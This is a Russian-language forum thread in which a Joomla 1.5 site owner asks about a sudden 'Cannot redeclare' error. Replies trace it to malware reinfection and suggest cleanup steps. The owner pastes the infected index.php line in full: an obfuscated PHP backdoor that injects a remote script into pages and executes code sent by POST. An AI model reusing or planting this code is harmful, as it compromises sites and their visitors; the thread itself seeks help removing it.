Ни с того ни с чего на главной вылезла: Fatal error: Cannot redeclare s0mo() - Joomla 1.5: Общие вопросы

Серьезно, на сайте ничего не менял уже месяц, и вдруг эта ошибка вылезла (Fatal error: Cannot redeclare s0mo() (previously declared in /home/remontmk/public_html/index.php(1) : eval()'d code:1) in /home/remontmk/public_html/configuration.php(1) : eval()'d code on line 1)
Писал хостерам (best-hoster.ru), они говорят переставьте движок.. а мне что там все заново делать ? Я там галерею неделю делал (phoca) не знаю как ее перенести.. да и вообще на форумах пишут что у хостеров может быть проблема с XML. А они явно не хотят этого признавать. Как их убедить в том что они неправы? Хостинг менять проблематично, здесь уже все проплачено на год.

Хм, мне почему-то кажется, что ваш сайт просто повторно заразили вирусом (какой-нибудь троянец своровал пароль, и потом бот дописывает левый код в файлы сайта). И вот в результате повторного заражения получилось дублирование объявления функции. Ибо в Joomla функция eval не используется, зато ее применение очень характерно для вирусов.

Так что настоятельно рекомендую сначала проверить свой компьютер на вирусы, потом поменять все пароли на FTP, затем провести ревизию файлов Joomla на предмет наличия в них постороннего кода.

Да, вирус и правда был - причем оч. серьезный (тот, что просит отправить SMS и блокирует инет,восстановление системы и даже ctrl+alt+del ; причем стоял EsetSS), пришлось переустанавливать систему. Пароли я все поменял, но ошибка все равно осталась. Как делать ревизию я толком не представляю - все файлы чтоли сравнивать? Может ключ уже близко? Ошибка указывает на первую строку index.php ; в ней: (сразу скажу что удаление этой строки не помогло, а какое значение было раньше ума не приложу.)

<?php eval(base64_decode('aWYoIWlzc2V0KCRzMG1vMSkpe2Z1bmN0aW9uIHMwbW8oJHMpe2lmKHByZWdfbWF0Y2hfYWxsKCcjPHNjcmlwdCguKj8pPC9zY3JpcHQ+I2lzJywkcywkYSkpZm9yZWFjaCgkYVswXWFzJHYpaWYoY291bnQoZXhwbG9kZSgiXG4iLCR2KSk+NSl7JGU9cHJlZ19tYXRjaCgnI1tcJyJdW15cc1wnIlwuLDtcPyFcW1xdOi88PlwoXCldezMwLH0jJywkdil8fHByZWdfbWF0Y2goJyNbXChcW10oXHMqXGQrLCl7MjAsfSMnLCR2KTtpZigocHJlZ19tYXRjaCgnI1xiZXZhbFxiIycsJHYpJiYoJGV8fHN0cnBvcygkdiwnZnJvbUNoYXJDb2RlJykpKXx8KCRlJiZzdHJwb3MoJHYsJ2RvY3VtZW50LndyaXRlJykpKSRzPXN0cl9yZXBsYWNlKCR2LCcnLCRzKTt9aWYocHJlZ19tYXRjaF9hbGwoJyM8aWZyYW1lIChbXj5dKj8pc3JjPVtcJyJdPyhodHRwOik/Ly8oW14+XSo/KT4jaXMnLCRzLCRhKSlmb3JlYWNoKCRhWzBdYXMkdilpZihwcmVnX21hdGNoKCcjW1wuIF13aWR0aFxzKj1ccypbXCciXT8wKlswLTldW1wnIj4gXXxkaXNwbGF5XHMqOlxzKm5vbmUjaScsJHYpJiYhc3Ryc3RyKCR2LCc/Jy4nPicpKSRzPXByZWdfcmVwbGFjZSgnIycucHJlZ19xdW90ZSgkdiwnIycpLicuKj88L2lmcmFtZT4jaXMnLCcnLCRzKTskcz1zdHJfcmVwbGFjZSgkYT1iYXNlNjRfZGVjb2RlKCdQSE5qY21sd2RDQnpjbU05YUhSMGNEb3ZMMjl5WjJobFlXeDBhR2x1WXk1amIyMHZabkpsYm1Ob0wxVnVkR2wwYkdWa0xUZ3RNbUV1Y0dod0lENDhMM05qY21sd2REND0nKSwnJywkcyk7aWYoc3RyaXN0cigkcywnPGJvZHknKSkkcz1wcmVnX3JlcGxhY2UoJyMoXHMqPGJvZHkpI21pJywkYS4nXDEnLCRzKTtlbHNlaWYoc3RycG9zKCRzLCc8YScpKSRzPSRhLiRzO3JldHVybiRzO31mdW5jdGlvbiBzMG1vMigkYSwkYiwkYywkZCl7Z2xvYmFsJHMwbW8xOyRzPWFycmF5KCk7aWYoZnVuY3Rpb25fZXhpc3RzKCRzMG1vMSkpY2FsbF91c2VyX2Z1bmMoJHMwbW8xLCRhLCRiLCRjLCRkKTtmb3JlYWNoKEBvYl9nZXRfc3RhdHVzKDEpYXMkdilpZigoJGE9JHZbJ25hbWUnXSk9PSdzMG1vJylyZXR1cm47ZWxzZWlmKCRhPT0nb2JfZ3poYW5kbGVyJylicmVhaztlbHNlJHNbXT1hcnJheSgkYT09J2RlZmF1bHQgb3V0cHV0IGhhbmRsZXInP2ZhbHNlOiRhKTtmb3IoJGk9Y291bnQoJHMpLTE7JGk+PTA7JGktLSl7JHNbJGldWzFdPW9iX2dldF9jb250ZW50cygpO29iX2VuZF9jbGVhbigpO31vYl9zdGFydCgnczBtbycpO2ZvcigkaT0wOyRpPGNvdW50KCRzKTskaSsrKXtvYl9zdGFydCgkc1skaV1bMF0pO2VjaG8gJHNbJGldWzFdO319fSRzMG1vbD0oKCRhPUBzZXRfZXJyb3JfaGFuZGxlcignczBtbzInKSkhPSdzMG1vMicpPyRhOjA7ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsnZSddKSk7Pz4=')); ?><?php

Чего с этим делать? На глаз помню что раньше строка меньше была.. вроде.. хотя особо не присматривался, т.к. у меня в текстовом редакторе переносы не включены.

Я бы начал с того, что взял бы оригинальный дистрибутив Joomla и записал бы его поверх вашего сайта, чтобы все файлы Joomla стали оригинальными, и если в них был этот вредноносный код, мы бы от него тем самым избавились бы.